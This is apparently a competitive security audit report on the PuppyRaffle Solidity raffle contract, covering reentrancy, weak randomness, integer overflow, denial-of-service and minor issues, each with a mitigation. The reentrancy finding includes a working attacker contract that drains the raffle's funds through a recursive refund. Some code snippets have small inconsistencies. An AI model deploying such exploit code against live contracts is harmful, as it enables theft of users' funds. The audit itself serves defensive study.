COMPETITIVE AUDITS

Protocol Audit Report

Prepared by: Tushar

Lead Auditors:

- Tushar Goyal

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - [H-1] Reentrancy Attack in `PuppyRaffle::refund` allows entrant to draint the raffle balance
  - [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner
  - [H-3] Integer overflow in `PuppyRaffle::totalFees` loses fees
- Medium
  - [M-1] Looping through the players array to check for duplication in `PuppyRaffle::enterRaffle` is a potential threat denial of services (DoS) attack, incrementing gas costs for future entrants.
  - [M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest
- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existing players and the players at 0th index may think that they are not active in the raffle i.e. they have not entered the raffle
- Informational
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Usage of Outdated Solidity Version (Lack of Built-in Overflow Protection + Risk of Arithmetic Exploits)
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not recommended
  - [I-5] It is discouraged to use magic numbers, which can lead to some confusion later
  - [I-6] _isActivePlayer is never used and should be removed
- Gas
  - [G-1] Unchanged state variable should be declared constant or immutable
  - [G-2] Storage variables insides loops and conditions should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	0
Info	6
Gas	2
Total	13

Findings

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` allows entrant to draint the raffle balance

Description: The `PuppyRaffle::refund` function of the PuppyRaffle contract allows a player to receive a refund of their entrance fee. However, it performs an external call to msg.sender via sendValue before updating the player's state in the players array. Specifically, the line `payable(msg.sender).sendValue(entranceFee);` is executed before players[playerIndex] = address(0);.

Impact: All fees paid by the raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `recieve/fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from his contract, draining all the contract's fund.

Proof of code

add this test to `PuppyRaffle.t.sol` file

▶ Test for Reentrancy

```
function test_ReentrancyRefund() public  {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
        address attackerAddress = makeAddr("attacker");
        vm.deal(attackerAddress, 1 ether);

        uint256 startingBalance = address(attackerAddress).balance;
        uint256 startingBalancePuppyRaffle = address(puppyRaffle).balance;

        vm.prank(attackerAddress);
        attacker.attack{value: entranceFee}();

        console.log("starting attacker contract balance: ",
startingBalance);
        console.log("starting puppy raffle contract balance: ",
startingBalancePuppyRaffle);

        console.log("ending attacker contract balance: ",
address(attacker).balance);
        console.log("ending puppy raffle contract balance: ",
address(puppyRaffle).balance);
    }
```

▶ Attacking contract:

```
contract ReentrancyAttacker{

    PuppyRaffle public puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor (PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }


    }
}
```

Recommended Mitigation:

Apply the Checks-Effects-Interactions pattern by updating contract state before making any external calls. Specifically, move players[playerIndex] = address(0); above the sendValue call:

```
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
```

Additionally, consider using ReentrancyGuard from OpenZeppelin to further protect against such exploits.

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description: The contract uses `block.timestamp`, `block.difficulty`, and `msg.sender` to generate randomness for selecting a winner:

```
uint256 winnerIndex =
    uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
```

These values are predictable or manipulatable by the miner or an attacker:

- `msg.sender`: chosen by the attacker.
- `block.timestamp`: controllable within ~15 seconds by miners.
- `block.difficulty`: deterministic within the block context.

Thus, the randomness is not truly random, and a malicious actor can potentially influence or predict the outcome, especially in low-participation games.

Impact: This vulnerability allows:

- Predictability of the winner selection.
- Manipulation by miners or participants to ensure they win.

- Undermining of trust in the fairness of the game, making the contract unsuitable for applications like lotteries, raffles, or prize pools.

Proof of Concept: An attacker could spam entries and calculate locally which combination of `msg.sender`, `timestamp`, and `difficulty` yields their address as the winner before sending the transaction. They would only broadcast the transaction in a favorable block (i.e., self-mined or colluding miner) to win consistently.

Recommended Mitigation: Use a secure and verifiable randomness source like Chainlink VRF (Verifiable Random Function).

[H-3] Integer overflow in `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflow.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar += 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well.
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

▶ code

```
    function test_integerOverflow() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 totalFees = puppyRaffle.totalFees();

        uint256 playersNum = 89;
        address[] memory players2 = new address[](playersNum);

        for (uint256 i; i< playersNum; i++){
            players2[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}
(players2);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 totalFees2 = puppyRaffle.totalFees();
        console.log("Total Fees before: ", totalFees);
        console.log("Total Fees after: ", totalFees2);
        assert(totalFees > totalFees2);

        //test to see that we are unable to withdraw the funds due to this
issue
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();

    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There
are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Looping through the players array to check for duplication in `PuppyRaffle::enterRaffle` is a potential threat denial of services (DoS) attack, incrementing gas costs for future entrants.

== **Description:** The `PuppyRaffle::enterRaffle` function iterates through the `players` array to check for a duplicate entry. However, as the size of the `players` array gets increased,the loop has to iterate over more entries and the gas cost for the future entrants increases! which makes tough of for future entratns to enter the Raffle and ultimately cause denial of the service.

```
//-> @audit DoS
    for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
            }
        }
```

Impact: The gas cost for raffle would drastically increase preventing the future entrants from entering the Raffle.

Proof of Concept:

If we 2 sets of 100 players, the gas cost will be such as:

- 1st 100 players: ~6503272
- 2nd 100 players: ~18995512

▶ Details
PoC

Place the following test into `PuppyRaffleTest.t.sol`

```
    function test_denialOfService() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedForFirst = (gasStart - gasEnd) * tx.gasprice;

        console.log("The gas used by the first 100 players is: ",
gasUsedForFirst);

        address[] memory playersTwo = new address[](playersNum);

        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}
(playersTwo);
        uint256 gasEndTwo = gasleft();

        uint256 gasUsedForSecond = (gasStartTwo - gasEndTwo) *
tx.gasprice;

        console.log("The gas used by the second 100 players is: ",
gasUsedForSecond);

        assertEq(gasUsedForFirst < gasUsedForSecond, true);

    }
```

Recommended Mitigation: There are a few recommendations:

1.Use mapping to check whether the players has entered the raffle before or not.

```
+    mapping(address => bool) public hasPlayerEntered;
+    uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length,
"PuppyRaffle: Must send enough to enter raffle");
```

```diff
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
+             addressToRaffleId[newPlayers[i]] = true;
        }

-        // Check for duplicates

+       // Check for duplicates only from the new players
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+          require(!hasPlayerEntered[newPlayers[i]] , "PuppyRaffle:
Duplicate player");
+       }

-        for (uint256 i = 0; i < players.length; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
-            }
-        }
        emit RaffleEnter(newPlayers);
    }
.
.
.
```

2. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existing players and the players at 0th index may think that they are not active in the raffle i.e. they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, the function `PuppyRaffle::getActivePlayerIndex` will return 0, but according not the natspec, it returns zero for non-active player as well causing the player at index 0 think that he has not entered the raffle.

```
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: The player will think he hasn't entered the raffle and would attempt again to enter the raffle!

Proof of Concept:

Scenario:

1. Player 0xDeadBeef enters the raffle and gets placed at index 0.

2. Later, getActivePlayerIndex(0xDeadBeef) returns 0.

3. A frontend checks if (index === 0) and wrongly assumes the player isn’t active.

4. The player is allowed to re-enter the raffle, causing:

5. Duplicate entries

Broken assumptions

UI bugs / user confusion

Recommended Mitigation:

1. Revert if the player doesn't exist instead of returning 0.
2. Could reserve the 0th position

Informational

[I-1] Solidity pragma should be specific, not wide

Description: Contract uses a wide version instead of a specific version. For an instance, instead of using `pragma solidity ^0.8.0` could have used `pragma solidity 0.8.0`

Impact:

- May cause inconsistent contract behavior across environments.
- Compilation with a newer Solidity version may introduce unexpected changes in logic, gas usage, or security.

[I-2] Usage of Outdated Solidity Version (Lack of Built-in Overflow Protection + Risk of Arithmetic Exploits)

Description: The contract uses an outdated Solidity compiler version (<0.8.0) which does not include built-in overflow and underflow protection. In these older versions, arithmetic operations like addition or subtraction do not revert on overflow/underflow, potentially allowing malicious actors to exploit integer vulnerabilities.

```
// Unsafe behavior in <0.8.0
uint8 a = 255;
a += 1; // a becomes 0 (silent overflow)
```

Impact: Contracts compiled with pre-0.8.0 versions are vulnerable to classic arithmetic attacks, such as:

- Balance overflows/underflows
- Bypassing logic checks
- Incorrect state updates

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 168

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not recommended

```diff
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] It is discouraged to use magic numbers, which can lead to some confusion later

It can be confusing to see number in literals in the codebase, and it's much more readable if the numbers are given a name.

Instead of using this:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

you could use this:

```
        uint256 public constant PRICE_POOL_PERCENT = 80;
        uint256 public constant FEE_PERCENT = 20;
        uint256 public constant POOL_PRECISION = 100;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

Gas

[G-1] Unchanged state variable should be declared constant or immutable

Reading from storage variables cost more gas than from constant and immutable variables!

Instances:

- `PuppyRaffle.sol::raffleDuration` should be `immutable`
- `PuppyRaffle.sol::commonImageUri` should be `constant`
- `PuppyRaffle.sol::rareImageUri` should be `constant`
- `PuppyRaffle.sol::legendaryImageUri` should be `constant`

[G-2] Storage variables insides loops and conditions should be cached

For an instance:

```
+       uint256 newPlayersLength = newPlayers.length;
+       require(msg.value == entranceFee * newPlayersLength, "PuppyRaffle: Must send enough to enter raffle");
-        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");

+        for (uint256 i = 0; i < newPlayerLength; i++) {
-        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }
```

Everytime you call `newPlayers.length`, you read from storage instead of memory which is more gas efficient.